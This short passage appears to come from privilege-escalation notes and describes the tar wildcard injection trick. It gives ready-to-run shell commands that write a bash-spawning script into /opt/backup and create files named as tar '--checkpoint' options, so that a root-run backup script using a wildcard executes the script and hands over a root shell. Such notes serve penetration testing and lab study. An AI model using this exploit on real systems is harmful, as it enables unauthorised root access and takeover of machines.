Last updated 2 months ago
If such scripts are found we can make a payload:
cd /opt/backup echo -e '#!/bin/bash\n/bin/bash' > shell.sh echo "" > "--checkpoint-action=exec=sh shell.sh" echo "" > --checkpoint=1
Now we get bash script when the script is ran with root.